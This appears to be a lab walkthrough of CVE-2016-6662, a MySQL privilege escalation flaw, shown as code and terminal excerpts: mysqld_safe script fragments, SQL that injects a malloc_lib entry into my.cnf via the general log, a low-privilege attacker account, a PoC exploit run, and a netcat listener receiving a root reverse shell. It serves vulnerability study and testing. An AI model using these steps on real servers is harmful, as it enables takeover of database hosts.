MySQL远程代码执行／权限提升漏洞的分析与实践（CVE-2016-6662）

# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {  
  malloc_lib="$1"

  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done

    if [ -z "$malloc_lib" ]; then
      log_error "no shared library for --malloc-lib=tcmalloc found in /usr/lib or $pkglibdir"
      exit 1
    fi
  fi

# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql  
then  
  DATADIR=$MY_BASEDIR_VERSION/data
  if test -z "$defaults" -a -r "$DATADIR/my.cnf"
  then
    defaults="--defaults-extra-file=$DATADIR/my.cnf"
  fi
# Next try where the source installs put it
elif test -d $MY_BASEDIR_VERSION/var/mysql  
then  
  DATADIR=$MY_BASEDIR_VERSION/var
# Or just give up and use our compiled-in default
else  
  DATADIR=/usr/local/mysql/data
fi  

mysql> set global general_log_file = '/usr/local/mysql/data/my.cnf';  
mysql> set global general_log = on;  
mysql> select '  
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/tmp/mysql_exploit_lib.so    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)  
mysql> set global general_log = off;  

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'  

root@ubuntu:/home/avfisher/avfisher# ls -l /usr/local/mysql/  
total 72  
drwxr-xr-x  2 mysql mysql  4096 9月  18 18:51 bin  
-rw-r--r--  1 mysql mysql 17987 5月  16 17:46 COPYING
drwx------  6 mysql mysql  4096 9月  18 17:46 data  
drwxr-xr-x  2 mysql mysql  4096 9月  13 23:58 docs  
drwxr-xr-x  3 mysql mysql  4096 9月  13 19:17 include  
-rw-r--r--  1 mysql mysql   301 5月  16 17:46 INSTALL-BINARY
drwxr-xr-x  3 mysql mysql  4096 9月  13 19:17 lib  
drwxr-xr-x  4 mysql mysql  4096 9月  13 19:17 man  
drwxr-xr-x 10 mysql mysql  4096 9月  13 19:17 mysql-test  
-rw-r--r--  1 mysql mysql  2496 5月  16 17:46 README
drwxr-xr-x  2 mysql mysql  4096 9月  13 19:17 scripts  
drwxr-xr-x 27 mysql mysql  4096 9月  13 19:17 share  
drwxr-xr-x  4 mysql mysql  4096 9月  13 23:02 sql-bench  
drwxr-xr-x  2 mysql mysql  4096 9月  18 17:52 support-files  

root@ubuntu:/home/avfisher/avfisher# ps aux | grep mysqld_safe  
root     12592  0.0  0.0   4508  1780 pts/18   S    17:46   0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/usr/local/mysql/data/ubuntu.pid  
root     13622  0.0  0.0  21296   940 pts/18   S+   18:59   0:00 grep --color=auto mysqld_saf  

TRG_path="/usr/local/mysql/data/%s/poctable.TRG" % args.TARGET_DB  

#define ATTACKERS_IP "<你的监听服务器的IP>"
#define SHELL_PORT <你的监听端口>
#define INJECTED_CONF "<你的mysql的data目录下的my.cnf文件>"

[root@centos ~]# nc -lvv 8080
Ncat: Version 6.40 ( http://nmap.org/ncat )  
Ncat: Listening on :::8080  
Ncat: Listening on 0.0.0.0:8080  

CREATE DATABASE pocdb;  
GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY 'p0cpass!';  
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%';  

root@ubuntu:/home/avfisher/avfisher# python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass p0cpass! -dbhost 127.0.0.1 -dbname pocdb -mycnf /usr/local/mysql/data/my.cnf

0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)  (CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski  
http://legalhackers.com

[+] Connecting to target server 127.0.0.1 and target mysql account 'attacker@127.0.0.1' using DB 'pocdb'

[+] The account in use has the following grants/perms: 

GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret>  
GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%'

[+] Compiling mysql_hookandroot_lib.so

[+] Converting mysql_hookandroot_lib.so into HEX

[+] Saving trigger payload into /usr/local/mysql/data/pocdb/poctable.TRG

[+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target

[+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded

[+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /usr/local/mysql/data/my.cnf

[+] Showing the contents of /usr/local/mysql/data/my.cnf config to verify that our setting (malloc_lib) got injected

...
[+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)

[+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)

...

root@ubuntu:/home/avfisher/avfisher# /usr/local/mysql/support-files/mysql.server restart  

[root@centos ~]# nc -lvv 8080
Ncat: Version 6.40 ( http://nmap.org/ncat )  
Ncat: Listening on :::8080  
Ncat: Listening on 0.0.0.0:8080  
Ncat: Connection from 192.168.1.92.  
Ncat: Connection from 192.168.1.92:46192.  
root@ubuntu:/usr/local/mysql# id  
id  
uid=0(root) gid=0(root) groups=0(root)